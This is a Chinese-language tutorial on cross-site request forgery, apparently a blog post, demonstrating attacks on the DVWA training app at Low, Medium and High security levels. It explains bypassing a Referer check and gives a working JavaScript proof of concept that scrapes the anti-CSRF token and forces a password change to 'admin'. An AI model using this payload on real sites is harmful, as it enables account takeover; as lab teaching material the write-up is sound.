Web之伪造用户请求CSRF的介绍
一、定义
CSRF(Cross-site request forgery,跨站请求伪造)也被称为 One Click Attack(单键攻击)或者 Session Riding,通常缩写为 CSRF 或者 XSRF。
简单理解:用户已经登陆过一个网站并且完成了认证,下次登录这个网站就不用再进行认证了,此时黑客构造一个恶意的URL将其放送给用户并且诱导用户点击,用户就在不知不觉间完成了修改密码、转账等其他操作。
二、实战演示
补充:我们构造的URL地址可以利用 “短链接生成”
1.Low级别的DVWA之CSRF演示

在URL当中我们可以清楚的看明白修改密码的具体操作,无非就是给服务器传递了三个参数,我们构造另一个恶意的URL地址之后诱导用户点击即可完成本次CSRF攻击。可以查看DVWA的源代码来理解。
2.Medium级别的DVWA之CSRF演示
补充:在该级别当中主要是过滤了Referer。
解决: 通过查看源码if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
我们可以很好的绕过这个stripos()函数的过滤,我们可以新建一层目录,将我们编写的恶意跳转页面放到该目录下,让该目录的“名称”包括HTTP_REFERER的内容即可过滤绕过,这里有一个注意事项很重要,有的浏览器已经修复了Referer策略,使用该策略跳转到其它站点时 Referer 会被降级处理,不携带 URI (也就是路径)部分,仅保留主机名,因此我们编写的恶意跳转页面要手工指定 Referer 策略:
当然还有很多的方法,例如我们可以利用其子站点的漏洞,从子站点打入即可。
3.High级别的DVWA之CSRF演示
直接看POC吧,主要利用了Ajax的知识。
//弹出cookie
alert(document.cookie);
//定义AJAX加载的页面
var theUrl = 'http://192.168.1.63/DVWA-master/vulnerabilities/csrf/';
//匹配浏览器
if (window.XMLHttpRequest){
// IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}else{
// IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
//页面加载完成后执行函数
xmlhttp.onreadystatechange=function(){
//判断请求已完成并且响应就绪状态码为200时执行代码
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
//页面内容存储到text中进行匹配token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
//弹出token
alert(match[1]);
var token = match[1];
//定义payload url并绑定token为我们从页面匹配到的token并且定义新的密码,新密码是admin
var new_url = 'http://192.168.1.63/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&password_conf=admin&Change=Change'
//GET方式提交一次new_url
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
//GET方式提交theUrl
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
关于Ajax的知识点
https://www.w3school.com.cn/js/js_ajax_http.asp

浙公网安备 33010602011771号